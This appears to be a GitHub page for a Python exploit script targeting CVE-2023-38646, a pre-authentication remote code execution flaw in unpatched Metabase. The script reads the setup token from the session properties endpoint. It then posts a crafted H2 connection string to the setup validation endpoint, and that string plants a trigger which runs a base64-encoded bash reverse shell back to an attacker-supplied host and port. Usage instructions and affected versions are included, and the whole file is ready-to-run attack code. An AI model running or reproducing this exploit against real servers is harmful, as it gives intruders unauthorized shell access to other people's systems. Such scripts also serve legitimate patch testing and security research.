-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2023-38646.py
86 lines (69 loc) · 3.14 KB
/
CVE-2023-38646.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
# CVE: CVE-2023-38646
# Author: [Anvith](https://github.com/AnvithLobo)
# Vendor Homepage: https://www.metabase.com/ / https://github.com/metabase/metabase
# Software Link: https://downloads.metabase.com/v0.46.6/metabase.jar
# Docker Command: docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
# Credits: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
# Tested on: Metabase v0.46.6 (Docker)
# Versions Affected: Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1
# Usage: python3 CVE-2023-38646.py -u http://localhost:3000 -l localhost -p 4444
import requests
from argparse import ArgumentParser
import base64
def parse_args():
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="URL to exploit (root path for metabase)", required=True)
parser.add_argument("-l", "--lhost", dest="lhost", help="LHOST for reverse shell", required=True)
parser.add_argument("-p", "--lport", dest="lport", help="LPORT for reverse shell", required=True)
return parser.parse_args()
def get_token(url: str):
response = requests.get(url)
try:
if response.status_code == 200:
return response.json()["setup-token"]
else:
print("[-] Failed to get token")
exit(1)
except Exception as e:
print(f"[-] Failed to get token: {e}")
exit(1)
def exploit(url: str, lhost: str, lport: str):
token = get_token(f"{url}/api/session/properties")
print(f"[+] Got token: {token}")
exploit_endpoint = f"{url}/api/setup/validate"
payload_string = f"bash -i >&/dev/tcp/{lhost}/{lport} 0>&1"
shell_payload = base64.b64encode(payload_string.encode()).decode()
if shell_payload.count("=") > 0:
payload_string = payload_string + " " * shell_payload.count("=")
shell_payload = base64.b64encode(payload_string.encode()).decode()
print(f"[+] Payload: {payload_string}")
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "application/json", "Content-Type": "application/json", "Connection": "close"}
data = {
"token": token,
"details":
{
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo," + shell_payload + "}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
print(f"[+] Sending exploit to {exploit_endpoint}")
response = requests.post(exploit_endpoint, json=data, headers=headers)
print(f"[+] You should have a reverse shell now")
if __name__ == "__main__":
args = parse_args()
exploit(args.url, args.lhost, args.lport)